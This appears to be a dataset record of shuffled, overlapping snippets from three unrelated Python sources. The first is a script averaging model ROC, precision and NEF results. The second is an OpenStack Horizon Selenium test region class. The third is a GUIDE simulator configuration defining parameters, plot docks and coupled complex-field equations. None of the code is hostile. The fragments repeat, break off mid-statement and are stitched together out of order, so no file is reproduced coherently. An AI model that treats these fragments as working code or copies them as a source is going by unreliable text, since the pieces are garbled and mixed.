hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list)) for running_process, roc, pr, NEF in zip(model_process_num_list[model],", "130, 131, 141, 14, 38, 165, 65, 123, 94, 3,", "Folder') model_list = [ 'random_forest_classification', 'xgboost_classification', 'xgboost_regression', 'single_deep_classification', 'single_deep_regression', 'ensemble'", "from __future__ import print_function import os import json import numpy", "__future__ import print_function import os import json import numpy as", "323, 114, 123, 47, 175, 17, 178, 106, 265, 67,", "line = line.strip().split(':') test_roc = float(line[1]) if 'ratio: 0.01, NEF:'", "= float(line[1]) if 'test roc' in line: line = line.strip().split(':')", "-1: test_precision_list.append(test_precision) if test_NEF != -1: test_NEF_list.append(test_NEF) hyper_parameter_result_roc.append(np.mean(test_roc_list)) hyper_parameter_result_precision.append(np.mean(test_precision_list)) hyper_parameter_result_NEF.append(np.mean(test_NEF_list))", "lines: if 'test precision' in line: line = line.strip().split(':') test_precision", "116, 792, 663, 32, 564, 950, 735, 84, 364, 605,", "721, 81, 321, 545, 280], 'single_deep_classification': [356, 404, 215, 93,", "in line: line = line.strip().split(':') test_precision = float(line[1]) if 'test", "5, 6, 7, 8, 9, 10, 11, 12] } for", "165, 65, 123, 94, 3, 88, 72], 'xgboost_classification': [140, 967,", "61, 124, 130, 131, 141, 14, 38, 165, 65, 123,", "215, 93, 254, 88, 423, 47, 363, 132, 5, 385,", "55, 388], 'xgboost_regression': [187, 6, 514, 507, 880, 440, 605,", "11, 12] } for model in model_list: print('Model: {}'.format(model)) number", "roc, pr, NEF in zip(model_process_num_list[model], hyper_parameter_result_roc, hyper_parameter_result_precision, hyper_parameter_result_NEF): print('{}\\t{}\\t{}\\t{}'.format(running_process, roc,", "for running_process in model_process_num_list[model]: test_roc_list, test_precision_list, test_NEF_list = [], [],", "idx in range(4): file_path = '{}/{}_{}_{}.out'.format(model, model, running_process, idx) test_roc,", "in lines: if 'test precision' in line: line = line.strip().split(':')", "5, 385, 370, 29, 415, 54, 124, 183, 180, 416],", "test_NEF = extract(file_path) if test_roc == -1 and test_precision ==", "== -1: print('missing index: {}'.format(running_process)) if test_roc != -1: test_roc_list.append(test_roc)", "369, 115, 191, 20, 27, 108, 270, 45], 'ensemble': [0,", "385, 370, 29, 415, 54, 124, 183, 180, 416], 'single_deep_regression':", "132, 5, 385, 370, 29, 415, 54, 124, 183, 180,", "148, 28, 61, 124, 130, 131, 141, 14, 38, 165,", "{ 'random_forest_classification': [139, 69, 111, 212, 210, 148, 28, 61,", "float(line[1]) return test_roc, test_precision, test_NEF if __name__ == '__main__': model_list", "'single_deep_regression', 'ensemble' ] for model in model_list: print('Model: {}'.format(model)) number", "test_precision, test_NEF if __name__ == '__main__': model_list = [ 'random_forest_classification',", "pr, NEF)) print() print('On The Last Folder') model_list = [", "2, 3, 4, 5, 6, 7, 8, 9, 10, 11,", "416], 'single_deep_regression': [199, 323, 114, 123, 47, 175, 17, 178," ]
[ "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR", "self._msg_locator(level) # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this #", "may obtain # a copy of the License at #", "agreed to in writing, software # distributed under the License", "Unless required by applicable law or agreed to in writing,", "NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this # point, because", "conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we cannot use", "distributed under the License is distributed on an \"AS IS\"", "None finally: self._turn_on_implicit_wait() def exists(self): return self._is_element_displayed(self.src_elem) def close(self): self._get_element(*self._close_locator).click()", "'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close')", "not initialized by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf)", "try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem = None finally:", "from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR =", "License, Version 2.0 (the \"License\"); you may # not use", "CONDITIONS OF ANY KIND, either express or implied. See the", "at this # point, because the instance is not initialized", "obtain # a copy of the License at # #", "applicable law or agreed to in writing, software # distributed", "initialized by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "Version 2.0 (the \"License\"); you may # not use this", "specific language governing permissions and limitations # under the License.", "# not use this file except in compliance with the", "not use this file except in compliance with the License.", "OF ANY KIND, either express or implied. See the #", "__init__(self, driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we", "this # point, because the instance is not initialized by", "selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger'", "from openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger' INFO = 'alert-info'", "writing, software # distributed under the License is distributed on", "WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express", "in writing, software # distributed under the License is distributed", "(by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator", "import baseregion ERROR = 'alert-danger' INFO = 'alert-info' SUCCESS =", "in compliance with the License. You may obtain # a", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "License for the specific language governing permissions and limitations #", "the License. You may obtain # a copy of the", "an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF", "on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS", "use this file except in compliance with the License. You", "You may obtain # a copy of the License at", "level) def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) #", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "governing permissions and limitations # under the License. from selenium.common.exceptions", "License. from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import by from", "baseregion ERROR = 'alert-danger' INFO = 'alert-info' SUCCESS = 'alert-success'", "self).__init__(driver, conf) except NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait() def", "either express or implied. See the # License for the", "conf) except NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait() def exists(self):", "under the License is distributed on an \"AS IS\" BASIS,", "return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver, conf, level=SUCCESS):", "copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #", "Licensed under the Apache License, Version 2.0 (the \"License\"); you", "class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return", "may # not use this file except in compliance with", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "License is distributed on an \"AS IS\" BASIS, WITHOUT #", "with the License. You may obtain # a copy of", "KIND, either express or implied. See the # License for", "# License for the specific language governing permissions and limitations", "import NoSuchElementException from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import baseregion", "you may # not use this file except in compliance", "def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self,", "\"License\"); you may # not use this file except in", "is not initialized by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver,", "import by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger' INFO", "level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait()", "IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND,", "= (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' %", "express or implied. See the # License for the specific", "this file except in compliance with the License. You may", "language governing permissions and limitations # under the License. from", "'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def", "compliance with the License. You may obtain # a copy", "INFO = 'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator =", "the Apache License, Version 2.0 (the \"License\"); you may #", "'div.alert.%s' % level) def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator =", "ERROR = 'alert-danger' INFO = 'alert-info' SUCCESS = 'alert-success' class", "use self._turn_off_implicit_wait() at this # point, because the instance is", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at", "# WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "See the # License for the specific language governing permissions", "= self._msg_locator(level) # NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this", "software # distributed under the License is distributed on an", "(the \"License\"); you may # not use this file except", "SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def", "cannot use self._turn_off_implicit_wait() at this # point, because the instance", "the License is distributed on an \"AS IS\" BASIS, WITHOUT", "'alert-danger' INFO = 'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator", "the instance is not initialized by ancestor's __init__ driver.implicitly_wait(0) try:", "the # License for the specific language governing permissions and", "'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level):", "selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import", "by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException:", "# a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "# # Unless required by applicable law or agreed to", "NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait() def exists(self): return self._is_element_displayed(self.src_elem)", "we cannot use self._turn_off_implicit_wait() at this # point, because the", "# point, because the instance is not initialized by ancestor's", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev):", "file except in compliance with the License. You may obtain", "openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger' INFO = 'alert-info' SUCCESS", "_msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver,", "% level) def __init__(self, driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level)", "# NOTE(tsufiev): we cannot use self._turn_off_implicit_wait() at this # point,", "point, because the instance is not initialized by ancestor's __init__", "for the specific language governing permissions and limitations # under", "permissions and limitations # under the License. from selenium.common.exceptions import", "law or agreed to in writing, software # distributed under", "and limitations # under the License. from selenium.common.exceptions import NoSuchElementException", "OR CONDITIONS OF ANY KIND, either express or implied. See", "the specific language governing permissions and limitations # under the", "limitations # under the License. from selenium.common.exceptions import NoSuchElementException from", "_close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s'", "= None finally: self._turn_on_implicit_wait() def exists(self): return self._is_element_displayed(self.src_elem) def close(self):", "under the Apache License, Version 2.0 (the \"License\"); you may", "except in compliance with the License. You may obtain #", "2.0 (the \"License\"); you may # not use this file", "implied. See the # License for the specific language governing", "self.src_elem = None finally: self._turn_on_implicit_wait() def exists(self): return self._is_element_displayed(self.src_elem) def", "(by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level)", "# under the License. from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common", "License. You may obtain # a copy of the License", "super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait()", "because the instance is not initialized by ancestor's __init__ driver.implicitly_wait(0)", "by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR = 'alert-danger' INFO =", "by applicable law or agreed to in writing, software #", "# distributed under the License is distributed on an \"AS", "ANY KIND, either express or implied. See the # License", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "\"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY", "level): return (by.By.CSS_SELECTOR, 'div.alert.%s' % level) def __init__(self, driver, conf,", "from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions", "# Unless required by applicable law or agreed to in", "__init__ driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem =", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "self._turn_off_implicit_wait() at this # point, because the instance is not", "to in writing, software # distributed under the License is", "is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES", "BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either", "under the License. from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import", "driver.implicitly_wait(0) try: super(MessageRegion, self).__init__(driver, conf) except NoSuchElementException: self.src_elem = None", "= 'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR,", "or agreed to in writing, software # distributed under the", "required by applicable law or agreed to in writing, software", "except NoSuchElementException: self.src_elem = None finally: self._turn_on_implicit_wait() def exists(self): return", "the License. from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common import by", "driver, conf, level=SUCCESS): self._default_src_locator = self._msg_locator(level) # NOTE(tsufiev): we cannot", "= 'alert-danger' INFO = 'alert-info' SUCCESS = 'alert-success' class MessageRegion(baseregion.BaseRegion):", "NoSuchElementException from selenium.webdriver.common import by from openstack_dashboard.test.integration_tests.regions import baseregion ERROR", "= 'alert-success' class MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self,", "MessageRegion(baseregion.BaseRegion): _close_locator = (by.By.CSS_SELECTOR, 'a.close') def _msg_locator(self, level): return (by.By.CSS_SELECTOR,", "instance is not initialized by ancestor's __init__ driver.implicitly_wait(0) try: super(MessageRegion,", "or implied. See the # License for the specific language", "Apache License, Version 2.0 (the \"License\"); you may # not" ]
[ "'init_cond': 0.001, 'plot': False, 'equation': diff_eq_B} } return variables def", "keyboard_keys(): \"\"\" Returns a dictionnary of user defined keys of", "are added internally to the dictionnary of variables. Each observable", "integer), \"help\" (str, to be displayed in help message). Additionnal", "of docks [str] as defined in load_dock function; optional; if", "Similarly to variables/observables, each parameter has a dictionnary as \"value\"", "\"\"\" Returns a dictionnary of user defined keys of form", "0.01} params['kappa'] = {'init_cond': 2.8, 'min': 0. , 'max': 10.,", "\"title\" (str). ''' docks = { 'plot1' : {'type': 'plot1D'", "Similar to variables, observables are added internally to the dictionnary", "keys: [\" \", \"q\", \"h\", \"s\", \"r\", \"i\", \"c\"]. This", "'above','relativeTo':'plot3', 'size': (300,300)}, } return docks def load_variables(): ''' Returns", "100 , 'min': 1 , 'max': 1000, 'step': 1} params['min_scan']", "load_variables(): ''' Returns a dict of the variables. Each variable", "\"eq_{observable}\" (observables); with a name after the pattern that must", "pattern that must match the variable/observable's one. Alternatively, you may", "\"h\", \"s\", \"r\", \"i\", \"c\"]. This must return an empty", "(str). ''' docks = { 'plot1' : {'type': 'plot1D' ,", "'plot': False, 'equation': diff_eq_B} } return variables def load_observables(): '''", ",'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted in image'}, #'ph_A' : {'type':", "<reponame>bgarbin/GUIDE # -*- coding: utf-8 -*- import numpy as np", "(1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def", "parameter'} params['nstep_scan'] = {'init_cond': 50, 'min': 0, 'max': 500, 'step':", "dictionnary as \"value\" with keys: \"init_cond\" (float), \"min\" (float), \"max\"", "\"\"\" keys = { 't': ramp_f, } return keys #return", "def ramp_f(ui,variables,params): print('begin scanning') for f in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f =", "still have to fill the entire dock area and obey", "that lengths arguments are only a suggestion; docks will still", "message). Additionnal keys are added internally: \"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\".", "'max': 500., 'step': 0.01, 'help':'detuning parameter'} params['max_scan'] = {'init_cond': 10,", "'step': 0.01} params['tau'] = {'init_cond': 1. , 'min': 0. ,", "Main parameters for window # 'record_every': number of time_steps one", "#def eq_ph_B(variables,params): #return [cm.phase(temp) for temp in variables['B']] def keyboard_keys():", "'mod_A_2' : {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True, 'help':'abs(A)**2", "to be used for plots declaration. Here, we use pyqtgraph", "'size': (300,100)}, 'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)},", "a dictionnary as \"value\" with keys: \"init_cond\" (float), \"min\" (float),", "\"type\" (accepted values: 'plot' and 'image'), \"zoomOf\" (key name of", "'help':'modulus square of A'}, 'mod_B' : {'type': np.float64, 'init_cond': 0.,", "(dict of position:str), \"title\" (str). ''' docks = { 'plot1'", "{'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64, 'init_cond':", "{'init_cond': 0.05, 'min': 0.001, 'max': 10., 'step': 0.001, 'help':'detuning parameter'}", "units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type': 'plot2D', 'position': 'right', 'size':", "return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding =", "their internal widgets], \"labels\" (dict of position:str), \"title\" (str). '''", "of key name(s) of docks [str] as defined in load_dock", "values: 'bottom', 'top', 'left', 'right', 'above', or 'below'), \"relativeTo\" (optional,", "'max': 1., 'step': 0.01} params['tau'] = {'init_cond': 1. , 'min':", "'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to be used plotted in image'}, #'ph_A'", "(float), step (float or int; WARNING if int this parameter", "'step': 0.001, 'help':'detuning parameter'} params['nstep_scan'] = {'init_cond': 50, 'min': 0,", "{'key':value}. Returns a dict of the results with the same", "(arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type': 'plot2D', 'position': 'right',", "0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True}, 'mod_A_2D' : {'type': np.float64, 'init_cond': 0. ,'dock':['custom_name'],'calculation_size':True,'help':'variable to", "Each plot has a dictionnary as \"value\" with keys: \"type\"", "You should declare it in the variable/observable dictionnary with keyword", "of form key:callable. System reserved keys: [\" \", \"q\", \"h\",", ", 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' : {'type':", "for temp in variables['B']] def keyboard_keys(): \"\"\" Returns a dictionnary", "be ploted on every plot), \"equation\" (callable, optional default is", "(arb. units)'}}, 'phase_space' : {'type': 'plot2D', 'position': 'right', 'size': (300,300)},", "keys: \"type\" (accepted values: 'plot' and 'image'), \"zoomOf\" (key name", "'position': 'right', 'size': (300,300)}, 'plot2' : {'type': 'plot1D' , 'zoomOf':", "'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size':", "np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B' : {'type': np.float64, 'init_cond': 0.,", "be an integer), \"help\" (str, to be displayed in help", "Additionnal keys are added internally: \"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\". '''", "return params # BEGIN Declaration of the equations. Automatically recognized", "return keys #return {} def ramp_f(ui,variables,params): print('begin scanning') for f", "'B' : {'type': np.complex128, 'init_cond': 0.001, 'plot': False, 'equation': diff_eq_B}", "coding: utf-8 -*- import numpy as np #import cmath as", "eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return", "{'init_cond': -8., 'min': -10., 'max': 10., 'step': 0.01, 'help':'detuning parameter'}", "\"init_cond\" (type), \"plot\" (bool, optional default is True), \"dock\" (list", "image'}, #'ph_A' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']}, #'ph_B' :", "def load_params(): ''' Returns a dict of the parameters. Similarly", "arguments dicts of variables and params as {'key':value}. Returns a", "'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':[{'phase_space':['mod_A_2','mod_B_2']}],'calculation_size':True,", "keyword \"equation\". def diff_eq_A(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['A'])**2)*variables['A'] -", "be only the size of what calculation returns; WARNING: those", "- variables['B'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['A'] + params['f'] def eq_mod_A(ui,variables,params):", "eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params): return variables['mod_B'][-params['npts_PS']:] def eq_mod_A_2D(ui,variables,params): folding", "'plot2D', 'position': 'right', 'size': (300,300)}, 'plot2' : {'type': 'plot1D' ,", "you may use custom equation names. You should declare it", "default is True), \"dock\" (list of key name(s) of docks", "added internally: \"value\", \"observable\" (False), \"lineedit\", \"checkbox\". ''' variables =", "number of time_steps one between two consecutive record events window_params", "{'type': np.complex128, 'init_cond': 0.001, 'plot': False, 'equation': diff_eq_B} } return", "'labels':{'bottom':'Time (arb. units)','left':'Intensity (arb. units)'}}, 'phase_space' : {'type': 'plot2D', 'position':", "-10., 'max': 10., 'step': 0.01, 'help':'detuning parameter'} params['f'] = {'init_cond':", "defined keys of form key:callable. System reserved keys: [\" \",", "internally: \"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\". ''' params = {} params['delta']", "every plot), \"equation\" (callable, optional default is diff_eq_{variable_name}), \"help\" (str,", "and obey the limits of their internal widgets], \"labels\" (dict", "temp in variables['B']] def keyboard_keys(): \"\"\" Returns a dictionnary of", "the variable/observable dictionnary with keyword \"equation\". def diff_eq_A(ui,variables, params): return", "0. , 'max': 10., 'step': 0.01} params['npts_PS'] = {'init_cond': 1000", "Each variable is a dict with keys: \"type\" (e.g. np.float64,", "''' Returns a dict of the observables. Similar to variables,", "cm # Main parameters for window # 'record_every': number of", "to another dock), size [(xlength,ylength); note that lengths arguments are", "\"slider_conversion_factor\". ''' params = {} params['delta'] = {'init_cond': -8., 'min':", "diff_eq_B(ui,variables, params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa']", "name after the pattern that must match the variable/observable's one.", "return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp) for temp in variables['A']]", "\"spinbox\", \"slider\", \"slider_conversion_factor\". ''' params = {} params['delta'] = {'init_cond':", "'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square of A'}, 'mod_B' : {'type':", "abs(variables['A'])**2)*variables['A'] - variables['A'] + (1j*params['kappa'] + params['gamma'])*params['tau']*variables['B'] + params['f'] def", "'mod_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot1','plot2','plot3']}, 'mod_A_2' : {'type':", "= round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params): ''' Takes", "eq_mod_A_2D(ui,variables,params): folding = params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def", "{'type': 'image', 'position': 'above','relativeTo':'plot3', 'size': (300,300)}, } return docks def", "'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of the plot", "10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition", "100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1, 'window_size':(1200,1000),", "provided, will be ploted on every plot), \"equation\" (callable, optional", "1., 'step': 0.01} params['tau'] = {'init_cond': 1. , 'min': 0.", "load_dock function; optional; if not provided, will be ploted on", "in phase space'}, 'mod_B_2' : {'type': np.float64, 'init_cond': 0. ,'dock':[{'phase_space':['mod_B_2','mod_A_2']}],'calculation_size':True},", "Returns a dict of the observables. Similar to variables, observables", "np #import cmath as cm # Main parameters for window", "np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp) for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']),", "added internally: \"value\", \"spinbox\", \"slider\", \"slider_conversion_factor\". ''' params = {}", "message). Additionnal keys are added internally: \"value\", \"observable\" (True), \"lineedit\",", "'step': 0.01} params['npts_PS'] = {'init_cond': 1000 , 'min': 1 ,", "of user defined keys of form key:callable. System reserved keys:", "'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square of A'}, 'mod_B'", "an empty dict if no extra keys. \"\"\" keys =", "\"checkbox\". ''' variables = { 'A' : {'type': np.complex128, 'init_cond':", "be plotted in phase space'}, 'mod_B_2' : {'type': np.float64, 'init_cond':", ": {'type': 'plot1D' , 'zoomOf': 'plot1' , 'position': 'bottom', 'relativeTo':", "'dock':['plot3']}, #'ph_B' : {'type': np.float64, 'init_cond': 0., 'dock':['plot3']} } return", ": {'type': np.float64, 'init_cond': 0., 'plot': True, 'dock':['plot1','plot2'], 'help':'modulus square", "'plot1' , 'position': 'bottom', 'relativeTo': 'phase_space', 'size': (300,100)}, 'plot3' :", "whether you want according variable to be only the size", "(bool, whether you want according variable to be only the", "1 , 'max': 2000, 'step': 1} params['folding'] = {'init_cond': 100", "1 , 'max': 1000, 'step': 1} params['min_scan'] = {'init_cond': 0,", "in np.concatenate((np.arange(params['min_scan'],params['max_scan']+params['step_scan'],params['step_scan']),np.arange(params['max_scan'],params['min_scan']-params['step_scan'],-params['step_scan']))): f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def", "the limits of their internal widgets], \"labels\" (dict of position:str),", "[(xlength,ylength); note that lengths arguments are only a suggestion; docks", "10., 'step': 0.01} params['gamma'] = {'init_cond': 0. , 'min': -1.", "to be used plotted in image'}, #'ph_A' : {'type': np.float64,", "docks [str] as defined in load_dock function; optional; if not", "'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, 'nstep_record':1,", "0.001, 'help':'detuning parameter'} params['nstep_scan'] = {'init_cond': 50, 'min': 0, 'max':", "or int; WARNING if int this parameter will be an", "'dock':['plot1','plot2'], 'help':'modulus square of A'}, 'mod_B' : {'type': np.float64, 'init_cond':", "Additionnal keys are added internally: \"value\", \"observable\" (False), \"lineedit\", \"checkbox\".", "True, 'dock':['plot1','plot2'], 'help':'modulus square of A'}, 'mod_B' : {'type': np.float64,", "0, 'max': 500, 'step': 1, 'help':'detuning parameter'} return params #", "\", \"q\", \"h\", \"s\", \"r\", \"i\", \"c\"]. This must return", "{'type': np.complex128, 'init_cond': 0., 'plot': False, 'dock':['plot1','plot2'], 'help':'field in the", "dock), \"position\" (accepted values: 'bottom', 'top', 'left', 'right', 'above', or", "arguments are only a suggestion; docks will still have to", "= {'init_cond': 0.05, 'min': 0.001, 'max': 10., 'step': 0.001, 'help':'detuning", "BEGIN Declaration of the equations. Automatically recognized pattern are \"diff_eq_{variable}\"", "params): return 1j*(params['delta']*params['tau'] + abs(variables['B'])**2)*variables['B'] - variables['B'] + (1j*params['kappa'] +", "f = round(f,2) ui.set_param('f',f) ui.run_simulator(params['nstep_scan']) print('end scanning') def kernel_my_own(variables,params): '''", "'window_size':(1200,1000), 'invert_order_obs_var': True,'theme':'dark'} # Definition of the plot configuration def", "+ params['f'] def eq_mod_A(ui,variables,params): return abs(variables['A'])**2 def eq_mod_B(ui,variables,params): return abs(variables['B'])**2", "params['folding'] nb_rt = int(len(variables['mod_A'])/params['folding']) return np.reshape(variables['mod_A'][-(folding*nb_rt):],(nb_rt,folding)) #def eq_ph_A(variables,params): #return [cm.phase(temp)", "plots declaration. Here, we use pyqtgraph docks. Each plot has", "= {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True,", "def eq_mod_B(ui,variables,params): return abs(variables['B'])**2 def eq_mod_A_2(ui,variables,params): return variables['mod_A'][-params['npts_PS']:] def eq_mod_B_2(ui,variables,params):", "Additionnal keys are added internally: \"value\", \"observable\" (True), \"lineedit\", \"checkbox\".", "'plot3' : {'type': 'plot1D', 'position': 'top','relativeTo':'phase_space', 'size': (300,300)}, 'custom_name' :", "in load_dock function; optional; if not provided, will be ploted", "be stored), \"help\" (str, to be displayed in help message).", "-8., 'min': -10., 'max': 10., 'step': 0.01, 'help':'detuning parameter'} params['f']", "#return [cm.phase(temp) for temp in variables['A']] #np.array(np.arctan2(np.imag(variables['A']), np.real(variables['A']))) #def eq_ph_B(variables,params):", "'min': -1. , 'max': 1., 'step': 0.01} params['tau'] = {'init_cond':", "\"type\" (e.g. np.float64, np.complex128), \"init_cond\" (type), \"plot\" (bool, optional default", "return an empty dict if no extra keys. \"\"\" keys", "def kernel_my_own(variables,params): ''' Takes as arguments dicts of variables and", "'step': 1, 'help':'detuning parameter'} return params # BEGIN Declaration of", 